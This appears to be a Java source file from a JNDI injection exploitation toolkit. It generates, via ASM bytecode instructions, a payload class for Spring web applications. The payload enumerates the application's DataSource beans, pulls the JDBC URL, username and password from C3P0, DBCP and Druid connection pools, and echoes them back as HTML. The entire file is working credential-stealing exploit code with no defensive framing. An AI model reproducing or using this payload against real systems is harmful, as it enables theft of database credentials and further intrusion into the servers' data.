165
https://raw.githubusercontent.com/JosephTribbianni/JNDI/master/src/main/java/org/su18/asm/payload/DataSourceHack.java
package org.su18.asm.payload;

import org.objectweb.asm.Label;
import org.objectweb.asm.MethodVisitor;
import org.objectweb.asm.Opcodes;
import org.objectweb.asm.Type;

public class DataSourceHack implements Opcodes {

	public static void insert(String className, MethodVisitor mv) {

		Label label0 = new Label();
		Label label1 = new Label();
		Label label2 = new Label();
		mv.visitTryCatchBlock(label0, label1, label2, "java/lang/Exception");
		Label label3 = new Label();
		mv.visitLabel(label3);
		mv.visitVarInsn(ALOAD, 0);
		mv.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "<init>", "()V", false);
		Label label4 = new Label();
		mv.visitLabel(label4);
		mv.visitLdcInsn("com.mchange.v2.c3p0.ComboPooledDataSource");
		mv.visitVarInsn(ASTORE, 1);
		Label label5 = new Label();
		mv.visitLabel(label5);
		mv.visitLdcInsn("org.apache.commons.dbcp.BasicDataSource");
		mv.visitVarInsn(ASTORE, 2);
		Label label6 = new Label();
		mv.visitLabel(label6);
		mv.visitLdcInsn("com.alibaba.druid.pool.DruidDataSource");
		mv.visitVarInsn(ASTORE, 3);
		Label label7 = new Label();
		mv.visitLabel(label7);
		mv.visitTypeInsn(NEW, "java/lang/StringBuilder");
		mv.visitInsn(DUP);
		mv.visitMethodInsn(INVOKESPECIAL, "java/lang/StringBuilder", "<init>", "()V", false);
		mv.visitVarInsn(ASTORE, 4);
		mv.visitLabel(label0);
		mv.visitLdcInsn("org.springframework.web.context.ContextLoader");
		mv.visitMethodInsn(INVOKESTATIC, "java/lang/Class", "forName", "(Ljava/lang/String;)Ljava/lang/Class;", false);
		mv.visitVarInsn(ASTORE, 5);
		Label label8 = new Label();
		mv.visitLabel(label8);
		mv.visitVarInsn(ALOAD, 5);
		mv.visitLdcInsn("getCurrentWebApplicationContext");
		mv.visitInsn(ICONST_0);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Class");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getDeclaredMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
		mv.visitVarInsn(ASTORE, 6);
		Label label9 = new Label();
		mv.visitLabel(label9);
		mv.visitVarInsn(ALOAD, 6);
		mv.visitInsn(ACONST_NULL);
		mv.visitInsn(ICONST_0);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Object");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
		mv.visitVarInsn(ASTORE, 7);
		Label label10 = new Label();
		mv.visitLabel(label10);
		mv.visitLdcInsn("org.springframework.web.context.WebApplicationContext");
		mv.visitMethodInsn(INVOKESTATIC, "java/lang/Class", "forName", "(Ljava/lang/String;)Ljava/lang/Class;", false);
		mv.visitVarInsn(ASTORE, 8);
		Label label11 = new Label();
		mv.visitLabel(label11);
		mv.visitVarInsn(ALOAD, 8);
		mv.visitLdcInsn("getServletContext");
		mv.visitInsn(ICONST_0);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Class");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getDeclaredMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
		mv.visitVarInsn(ASTORE, 9);
		Label label12 = new Label();
		mv.visitLabel(label12);
		mv.visitVarInsn(ALOAD, 9);
		mv.visitVarInsn(ALOAD, 7);
		mv.visitInsn(ICONST_0);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Object");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
		mv.visitTypeInsn(CHECKCAST, "javax/servlet/ServletContext");
		mv.visitVarInsn(ASTORE, 10);
		Label label13 = new Label();
		mv.visitLabel(label13);
		mv.visitLdcInsn("org.springframework.web.context.support.WebApplicationContextUtils");
		mv.visitMethodInsn(INVOKESTATIC, "java/lang/Class", "forName", "(Ljava/lang/String;)Ljava/lang/Class;", false);
		mv.visitVarInsn(ASTORE, 11);
		Label label14 = new Label();
		mv.visitLabel(label14);
		mv.visitVarInsn(ALOAD, 11);
		mv.visitLdcInsn("getWebApplicationContext");
		mv.visitInsn(ICONST_1);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Class");
		mv.visitInsn(DUP);
		mv.visitInsn(ICONST_0);
		mv.visitLdcInsn(Type.getType("Ljavax/servlet/ServletContext;"));
		mv.visitInsn(AASTORE);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getDeclaredMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
		mv.visitVarInsn(ASTORE, 12);
		Label label15 = new Label();
		mv.visitLabel(label15);
		mv.visitVarInsn(ALOAD, 12);
		mv.visitInsn(ACONST_NULL);
		mv.visitInsn(ICONST_1);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Object");
		mv.visitInsn(DUP);
		mv.visitInsn(ICONST_0);
		mv.visitVarInsn(ALOAD, 10);
		mv.visitInsn(AASTORE);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
		mv.visitVarInsn(ASTORE, 13);
		Label label16 = new Label();
		mv.visitLabel(label16);
		mv.visitLdcInsn("org.springframework.context.ApplicationContext");
		mv.visitMethodInsn(INVOKESTATIC, "java/lang/Class", "forName", "(Ljava/lang/String;)Ljava/lang/Class;", false);
		mv.visitVarInsn(ASTORE, 14);
		Label label17 = new Label();
		mv.visitLabel(label17);
		mv.visitTypeInsn(NEW, "java/util/ArrayList");
		mv.visitInsn(DUP);
		mv.visitMethodInsn(INVOKESPECIAL, "java/util/ArrayList", "<init>", "()V", false);
		mv.visitVarInsn(ASTORE, 15);
		Label label18 = new Label();
		mv.visitLabel(label18);
		mv.visitVarInsn(ALOAD, 14);
		mv.visitLdcInsn("getBeanDefinitionNames");
		mv.visitInsn(ICONST_0);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Class");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
		mv.visitVarInsn(ASTORE, 16);
		Label label19 = new Label();
		mv.visitLabel(label19);
		mv.visitVarInsn(ALOAD, 16);
		mv.visitVarInsn(ALOAD, 13);
		mv.visitInsn(ICONST_0);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Object");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
		mv.visitTypeInsn(CHECKCAST, "[Ljava/lang/String;");
		mv.visitTypeInsn(CHECKCAST, "[Ljava/lang/String;");
		mv.visitVarInsn(ASTORE, 17);
		Label label20 = new Label();
		mv.visitLabel(label20);
		mv.visitVarInsn(ALOAD, 17);
		mv.visitVarInsn(ASTORE, 18);
		mv.visitVarInsn(ALOAD, 18);
		mv.visitInsn(ARRAYLENGTH);
		mv.visitVarInsn(ISTORE, 19);
		mv.visitInsn(ICONST_0);
		mv.visitVarInsn(ISTORE, 20);
		Label label21 = new Label();
		mv.visitLabel(label21);
		mv.visitFrame(Opcodes.F_FULL, 21, new Object[]{className, "java/lang/String", "java/lang/String", "java/lang/String", "java/lang/StringBuilder", "java/lang/Class", "java/lang/reflect/Method", "java/lang/Object", "java/lang/Class", "java/lang/reflect/Method", "javax/servlet/ServletContext", "java/lang/Class", "java/lang/reflect/Method", "java/lang/Object", "java/lang/Class", "java/util/List", "java/lang/reflect/Method", "[Ljava/lang/String;", "[Ljava/lang/String;", Opcodes.INTEGER, Opcodes.INTEGER}, 0, new Object[]{});
		mv.visitVarInsn(ILOAD, 20);
		mv.visitVarInsn(ILOAD, 19);
		Label label22 = new Label();
		mv.visitJumpInsn(IF_ICMPGE, label22);
		mv.visitVarInsn(ALOAD, 18);
		mv.visitVarInsn(ILOAD, 20);
		mv.visitInsn(AALOAD);
		mv.visitVarInsn(ASTORE, 21);
		Label label23 = new Label();
		mv.visitLabel(label23);
		mv.visitVarInsn(ALOAD, 14);
		mv.visitLdcInsn("getBean");
		mv.visitInsn(ICONST_1);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Class");
		mv.visitInsn(DUP);
		mv.visitInsn(ICONST_0);
		mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
		mv.visitInsn(AASTORE);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
		mv.visitVarInsn(ASTORE, 22);
		Label label24 = new Label();
		mv.visitLabel(label24);
		mv.visitVarInsn(ALOAD, 22);
		mv.visitVarInsn(ALOAD, 13);
		mv.visitInsn(ICONST_1);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Object");
		mv.visitInsn(DUP);
		mv.visitInsn(ICONST_0);
		mv.visitVarInsn(ALOAD, 21);
		mv.visitInsn(AASTORE);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
		mv.visitVarInsn(ASTORE, 23);
		Label label25 = new Label();
		mv.visitLabel(label25);
		mv.visitVarInsn(ALOAD, 23);
		mv.visitTypeInsn(INSTANCEOF, "javax/sql/DataSource");
		Label label26 = new Label();
		mv.visitJumpInsn(IFEQ, label26);
		Label label27 = new Label();
		mv.visitLabel(label27);
		mv.visitVarInsn(ALOAD, 15);
		mv.visitVarInsn(ALOAD, 23);
		mv.visitTypeInsn(CHECKCAST, "javax/sql/DataSource");
		mv.visitMethodInsn(INVOKEINTERFACE, "java/util/List", "add", "(Ljava/lang/Object;)Z", true);
		mv.visitInsn(POP);
		mv.visitLabel(label26);
		mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null);
		mv.visitIincInsn(20, 1);
		mv.visitJumpInsn(GOTO, label21);
		mv.visitLabel(label22);
		mv.visitFrame(Opcodes.F_CHOP, 3, null, 0, null);
		mv.visitVarInsn(ALOAD, 15);
		mv.visitMethodInsn(INVOKEINTERFACE, "java/util/List", "iterator", "()Ljava/util/Iterator;", true);
		mv.visitVarInsn(ASTORE, 18);
		Label label28 = new Label();
		mv.visitLabel(label28);
		mv.visitFrame(Opcodes.F_APPEND, 1, new Object[]{"java/util/Iterator"}, 0, null);
		mv.visitVarInsn(ALOAD, 18);
		mv.visitMethodInsn(INVOKEINTERFACE, "java/util/Iterator", "hasNext", "()Z", true);
		Label label29 = new Label();
		mv.visitJumpInsn(IFEQ, label29);
		mv.visitVarInsn(ALOAD, 18);
		mv.visitMethodInsn(INVOKEINTERFACE, "java/util/Iterator", "next", "()Ljava/lang/Object;", true);
		mv.visitTypeInsn(CHECKCAST, "javax/sql/DataSource");
		mv.visitVarInsn(ASTORE, 19);
		Label label30 = new Label();
		mv.visitLabel(label30);
		mv.visitVarInsn(ALOAD, 19);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getName", "()Ljava/lang/String;", false);
		mv.visitVarInsn(ASTORE, 20);
		Label label31 = new Label();
		mv.visitLabel(label31);
		mv.visitInsn(ACONST_NULL);
		mv.visitVarInsn(ASTORE, 21);
		Label label32 = new Label();
		mv.visitLabel(label32);
		mv.visitInsn(ACONST_NULL);
		mv.visitVarInsn(ASTORE, 22);
		Label label33 = new Label();
		mv.visitLabel(label33);
		mv.visitInsn(ACONST_NULL);
		mv.visitVarInsn(ASTORE, 23);
		Label label34 = new Label();
		mv.visitLabel(label34);
		mv.visitVarInsn(ALOAD, 1);
		mv.visitVarInsn(ALOAD, 20);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z", false);
		Label label35 = new Label();
		mv.visitJumpInsn(IFEQ, label35);
		Label label36 = new Label();
		mv.visitLabel(label36);
		mv.visitVarInsn(ALOAD, 1);
		mv.visitMethodInsn(INVOKESTATIC, "java/lang/Class", "forName", "(Ljava/lang/String;)Ljava/lang/Class;", false);
		mv.visitVarInsn(ASTORE, 24);
		Label label37 = new Label();
		mv.visitLabel(label37);
		mv.visitVarInsn(ALOAD, 24);
		mv.visitLdcInsn("getJdbcUrl");
		mv.visitInsn(ICONST_0);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Class");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
		mv.visitVarInsn(ALOAD, 19);
		mv.visitInsn(ICONST_0);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Object");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
		mv.visitTypeInsn(CHECKCAST, "java/lang/String");
		mv.visitVarInsn(ASTORE, 21);
		Label label38 = new Label();
		mv.visitLabel(label38);
		mv.visitVarInsn(ALOAD, 24);
		mv.visitLdcInsn("getUser");
		mv.visitInsn(ICONST_0);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Class");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
		mv.visitVarInsn(ALOAD, 19);
		mv.visitInsn(ICONST_0);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Object");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
		mv.visitTypeInsn(CHECKCAST, "java/lang/String");
		mv.visitVarInsn(ASTORE, 22);
		Label label39 = new Label();
		mv.visitLabel(label39);
		mv.visitVarInsn(ALOAD, 24);
		mv.visitLdcInsn("getPassword");
		mv.visitInsn(ICONST_0);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Class");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
		mv.visitVarInsn(ALOAD, 19);
		mv.visitInsn(ICONST_0);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Object");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
		mv.visitTypeInsn(CHECKCAST, "java/lang/String");
		mv.visitVarInsn(ASTORE, 23);
		Label label40 = new Label();
		mv.visitLabel(label40);
		Label label41 = new Label();
		mv.visitJumpInsn(GOTO, label41);
		mv.visitLabel(label35);
		mv.visitFrame(Opcodes.F_FULL, 24, new Object[]{className, "java/lang/String", "java/lang/String", "java/lang/String", "java/lang/StringBuilder", "java/lang/Class", "java/lang/reflect/Method", "java/lang/Object", "java/lang/Class", "java/lang/reflect/Method", "javax/servlet/ServletContext", "java/lang/Class", "java/lang/reflect/Method", "java/lang/Object", "java/lang/Class", "java/util/List", "java/lang/reflect/Method", "[Ljava/lang/String;", "java/util/Iterator", "javax/sql/DataSource", "java/lang/String", "java/lang/String", "java/lang/String", "java/lang/String"}, 0, new Object[]{});
		mv.visitVarInsn(ALOAD, 2);
		mv.visitVarInsn(ALOAD, 20);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z", false);
		Label label42 = new Label();
		mv.visitJumpInsn(IFEQ, label42);
		Label label43 = new Label();
		mv.visitLabel(label43);
		mv.visitVarInsn(ALOAD, 2);
		mv.visitMethodInsn(INVOKESTATIC, "java/lang/Class", "forName", "(Ljava/lang/String;)Ljava/lang/Class;", false);
		mv.visitVarInsn(ASTORE, 24);
		Label label44 = new Label();
		mv.visitLabel(label44);
		mv.visitVarInsn(ALOAD, 24);
		mv.visitLdcInsn("getUrl");
		mv.visitInsn(ICONST_0);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Class");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
		mv.visitVarInsn(ALOAD, 19);
		mv.visitInsn(ICONST_0);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Object");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
		mv.visitTypeInsn(CHECKCAST, "java/lang/String");
		mv.visitVarInsn(ASTORE, 21);
		Label label45 = new Label();
		mv.visitLabel(label45);
		mv.visitVarInsn(ALOAD, 24);
		mv.visitLdcInsn("getUsername");
		mv.visitInsn(ICONST_0);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Class");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
		mv.visitVarInsn(ALOAD, 19);
		mv.visitInsn(ICONST_0);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Object");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
		mv.visitTypeInsn(CHECKCAST, "java/lang/String");
		mv.visitVarInsn(ASTORE, 22);
		Label label46 = new Label();
		mv.visitLabel(label46);
		mv.visitVarInsn(ALOAD, 24);
		mv.visitLdcInsn("getPassword");
		mv.visitInsn(ICONST_0);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Class");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
		mv.visitVarInsn(ALOAD, 19);
		mv.visitInsn(ICONST_0);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Object");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
		mv.visitTypeInsn(CHECKCAST, "java/lang/String");
		mv.visitVarInsn(ASTORE, 23);
		Label label47 = new Label();
		mv.visitLabel(label47);
		mv.visitJumpInsn(GOTO, label41);
		mv.visitLabel(label42);
		mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null);
		mv.visitVarInsn(ALOAD, 3);
		mv.visitVarInsn(ALOAD, 20);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z", false);
		mv.visitJumpInsn(IFEQ, label41);
		Label label48 = new Label();
		mv.visitLabel(label48);
		mv.visitVarInsn(ALOAD, 3);
		mv.visitMethodInsn(INVOKESTATIC, "java/lang/Class", "forName", "(Ljava/lang/String;)Ljava/lang/Class;", false);
		mv.visitVarInsn(ASTORE, 24);
		Label label49 = new Label();
		mv.visitLabel(label49);
		mv.visitVarInsn(ALOAD, 24);
		mv.visitLdcInsn("getUrl");
		mv.visitInsn(ICONST_0);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Class");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
		mv.visitVarInsn(ALOAD, 19);
		mv.visitInsn(ICONST_0);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Object");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
		mv.visitTypeInsn(CHECKCAST, "java/lang/String");
		mv.visitVarInsn(ASTORE, 21);
		Label label50 = new Label();
		mv.visitLabel(label50);
		mv.visitVarInsn(ALOAD, 24);
		mv.visitLdcInsn("getUsername");
		mv.visitInsn(ICONST_0);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Class");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
		mv.visitVarInsn(ALOAD, 19);
		mv.visitInsn(ICONST_0);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Object");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
		mv.visitTypeInsn(CHECKCAST, "java/lang/String");
		mv.visitVarInsn(ASTORE, 22);
		Label label51 = new Label();
		mv.visitLabel(label51);
		mv.visitVarInsn(ALOAD, 24);
		mv.visitLdcInsn("getPassword");
		mv.visitInsn(ICONST_0);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Class");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
		mv.visitVarInsn(ALOAD, 19);
		mv.visitInsn(ICONST_0);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Object");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
		mv.visitTypeInsn(CHECKCAST, "java/lang/String");
		mv.visitVarInsn(ASTORE, 23);
		mv.visitLabel(label41);
		mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null);
		mv.visitVarInsn(ALOAD, 4);
		mv.visitLdcInsn("URL:");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
		mv.visitVarInsn(ALOAD, 21);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
		mv.visitLdcInsn("<br/>UserName:");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
		mv.visitVarInsn(ALOAD, 22);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
		mv.visitLdcInsn("<br/>PassWord:");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
		mv.visitVarInsn(ALOAD, 23);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
		mv.visitLdcInsn("<br/>");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
		mv.visitInsn(POP);
		Label label52 = new Label();
		mv.visitLabel(label52);
		mv.visitJumpInsn(GOTO, label28);
		mv.visitLabel(label29);
		mv.visitFrame(Opcodes.F_FULL, 18, new Object[]{className, "java/lang/String", "java/lang/String", "java/lang/String", "java/lang/StringBuilder", "java/lang/Class", "java/lang/reflect/Method", "java/lang/Object", "java/lang/Class", "java/lang/reflect/Method", "javax/servlet/ServletContext", "java/lang/Class", "java/lang/reflect/Method", "java/lang/Object", "java/lang/Class", "java/util/List", "java/lang/reflect/Method", "[Ljava/lang/String;"}, 0, new Object[]{});
		mv.visitVarInsn(ALOAD, 0);
		mv.visitTypeInsn(NEW, "java/lang/StringBuilder");
		mv.visitInsn(DUP);
		mv.visitMethodInsn(INVOKESPECIAL, "java/lang/StringBuilder", "<init>", "()V", false);
		mv.visitLdcInsn("<hr/>Spring DataSource\u914d\u7f6e\u4fe1\u606f\u83b7\u53d6\u6d4b\u8bd5:<br>");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
		mv.visitVarInsn(ALOAD, 4);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/Object;)Ljava/lang/StringBuilder;", false);
		mv.visitLdcInsn("<hr/>");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "toString", "()Ljava/lang/String;", false);
		mv.visitFieldInsn(PUTFIELD, className, "result", "Ljava/lang/String;");
		mv.visitLabel(label1);
		Label label53 = new Label();
		mv.visitJumpInsn(GOTO, label53);
		mv.visitLabel(label2);
		mv.visitFrame(Opcodes.F_FULL, 5, new Object[]{className, "java/lang/String", "java/lang/String", "java/lang/String", "java/lang/StringBuilder"}, 1, new Object[]{"java/lang/Exception"});
		mv.visitVarInsn(ASTORE, 5);
		Label label54 = new Label();
		mv.visitLabel(label54);
		mv.visitVarInsn(ALOAD, 0);
		mv.visitLdcInsn("\u83b7\u53d6 Spring DataSource \u914d\u7f6e\u4fe1\u606f\u51fa\u9519\uff01");
		mv.visitFieldInsn(PUTFIELD, className, "result", "Ljava/lang/String;");
		mv.visitLabel(label53);
		mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null);
		mv.visitVarInsn(ALOAD, 0);
		mv.visitMethodInsn(INVOKEVIRTUAL, className, "echo", "()V", false);
		Label label55 = new Label();
		mv.visitLabel(label55);
		mv.visitInsn(RETURN);
		Label label56 = new Label();
		mv.visitLabel(label56);
		mv.visitLocalVariable("m5", "Ljava/lang/reflect/Method;", null, label24, label26, 22);
		mv.visitLocalVariable("object", "Ljava/lang/Object;", null, label25, label26, 23);
		mv.visitLocalVariable("beanName", "Ljava/lang/String;", null, label23, label26, 21);
		mv.visitLocalVariable("clazz", "Ljava/lang/Class;", "Ljava/lang/Class<*>;", label37, label40, 24);
		mv.visitLocalVariable("clazz", "Ljava/lang/Class;", "Ljava/lang/Class<*>;", label44, label47, 24);
		mv.visitLocalVariable("clazz", "Ljava/lang/Class;", "Ljava/lang/Class<*>;", label49, label41, 24);
		mv.visitLocalVariable("className", "Ljava/lang/String;", null, label31, label52, 20);
		mv.visitLocalVariable("url", "Ljava/lang/String;", null, label32, label52, 21);
		mv.visitLocalVariable("UserName", "Ljava/lang/String;", null, label33, label52, 22);
		mv.visitLocalVariable("PassWord", "Ljava/lang/String;", null, label34, label52, 23);
		mv.visitLocalVariable("dataSource", "Ljavax/sql/DataSource;", null, label30, label52, 19);
		mv.visitLocalVariable("contextLoader", "Ljava/lang/Class;", "Ljava/lang/Class<*>;", label8, label1, 5);
		mv.visitLocalVariable("m", "Ljava/lang/reflect/Method;", null, label9, label1, 6);
		mv.visitLocalVariable("o", "Ljava/lang/Object;", null, label10, label1, 7);
		mv.visitLocalVariable("webApplicationContext", "Ljava/lang/Class;", "Ljava/lang/Class<*>;", label11, label1, 8);
		mv.visitLocalVariable("m2", "Ljava/lang/reflect/Method;", null, label12, label1, 9);
		mv.visitLocalVariable("sc", "Ljavax/servlet/ServletContext;", null, label13, label1, 10);
		mv.visitLocalVariable("webApplicationContextUtils", "Ljava/lang/Class;", "Ljava/lang/Class<*>;", label14, label1, 11);
		mv.visitLocalVariable("m3", "Ljava/lang/reflect/Method;", null, label15, label1, 12);
		mv.visitLocalVariable("ctx", "Ljava/lang/Object;", null, label16, label1, 13);
		mv.visitLocalVariable("applicationContext", "Ljava/lang/Class;", "Ljava/lang/Class<*>;", label17, label1, 14);
		mv.visitLocalVariable("dataSourceList", "Ljava/util/List;", "Ljava/util/List<Ljavax/sql/DataSource;>;", label18, label1, 15);
		mv.visitLocalVariable("m4", "Ljava/lang/reflect/Method;", null, label19, label1, 16);
		mv.visitLocalVariable("beanNames", "[Ljava/lang/String;", null, label20, label1, 17);
		mv.visitLocalVariable("ignored", "Ljava/lang/Exception;", null, label54, label53, 5);
		mv.visitLocalVariable("this", "L" + className + ";", null, label3, label56, 0);
		mv.visitLocalVariable("C3P0_CLASS_NAME", "Ljava/lang/String;", null, label5, label56, 1);
		mv.visitLocalVariable("DBCP_CLASS_NAME", "Ljava/lang/String;", null, label6, label56, 2);
		mv.visitLocalVariable("DRUID_CLASS_NAME", "Ljava/lang/String;", null, label7, label56, 3);
		mv.visitLocalVariable("info", "Ljava/lang/StringBuilder;", null, label0, label56, 4);
	}
}
